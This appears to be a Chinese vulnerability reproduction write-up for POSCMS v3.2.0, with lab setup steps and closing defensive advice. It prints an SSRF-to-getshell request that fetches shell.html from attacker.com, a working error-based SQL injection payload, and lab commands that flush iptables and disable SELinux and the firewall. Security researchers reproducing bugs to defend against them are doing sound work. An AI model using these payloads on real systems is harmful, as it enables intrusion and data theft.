POSCMS v3.2.0漏洞复现
字数 946 2025-08-29 08:32:18
POSCMS v3.2.0漏洞分析与复现指南
环境搭建
系统要求
- 操作系统: CentOS 7 amd64
- PHP版本: 5.5.38 (必须低于7.1)
- MySQL版本: 5.5.60
- Web服务器: Apache 2.4.6
安装步骤
- PHP环境配置:
# 移除现有PHP
yum list installed | grep php
yum remove php*.x86_64
# 添加新的RPM仓库
rpm -Uvh https://mirror.webtatic.com/yum/el7/epel-release.rpm
rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm
# 安装PHP 5.5
yum install php55w.x86_64 php55w-cli.x86_64 php55w-common.x86_64 php55w-gd.x86_64 php55w-ldap.x86_64 php55w-mbstring.x86_64 php55w-mcrypt.x86_64 php55w-mysql.x86_64 php55w-pdo.x86_64
- Apache配置:
修改/etc/httpd/conf/httpd.conf:
<Directory "/var/www/html">
AllowOverride All
Require all granted
User newman
Group newman
</Directory>
- 权限设置:
chown -R newman:newman /var/www/html/POSCMS
- 关闭安全服务:
# 清空iptables
sudo iptables -F
# 临时关闭Selinux
sudo setenforce 0
# 停掉firewall服务
sudo service firewalld stop
漏洞1: SSRF及GetShell
漏洞位置
/diy/module/member/controllers/Api.php中的down_file()函数
漏洞分析
- SSRF漏洞:
- 使用
dr_catcher_data()函数获取远程文件内容 - 未对请求协议和URL范围进行限制
- 可读取服务器本地文件如
/etc/passwd和/config/system.php
- GetShell实现:
- 通过构造特殊payload绕过扩展名检查
- 上传包含PHP代码的HTML文件
- 利用Apache配置解析HTML中的PHP代码
复现步骤
-
获取系统密钥:
通过SSRF读取/config/system.php获取加密密钥 -
构造加密payload:
使用系统密钥加密1|html,|0生成授权码 -
上传恶意文件:
POST /index.php?s=member&c=api&m=down_file HTTP/1.1
Host: target.com
file=http://attacker.com/shell.html&url=code=生成的授权码
- Apache配置:
在/etc/httpd/conf.d/php.conf中添加:
AddType application/x-httpd-php .html
漏洞2: 前台SQL注入
漏洞位置
/diy/dayrui/models/Attachment_model.php中的搜索功能
漏洞分析
- 未对
module参数进行过滤 - 可直接拼接SQL语句
- 报错注入可利用
复现步骤
- 构造注入请求:
GET /index.php?s=member&c=account&m=attachment&module=photo%22%20or%20updatexml(1,concat(1,0x7e,user()),1);%23&ext= HTTP/1.1
Host: target.com
- 获取数据库信息:
通过报错信息获取当前数据库用户等信息
防御建议
- SSRF防御:
- 限制
dr_catcher_data()可访问的协议和IP范围 - 增加URL白名单验证
- 文件上传防御:
- 严格检查文件内容和扩展名
- 禁止上传可执行文件
- SQL注入防御:
- 使用预处理语句
- 对输入参数进行严格过滤
- 系统加固:
- 定期更新系统和组件
- 最小化服务器权限
- 禁用不必要的服务和功能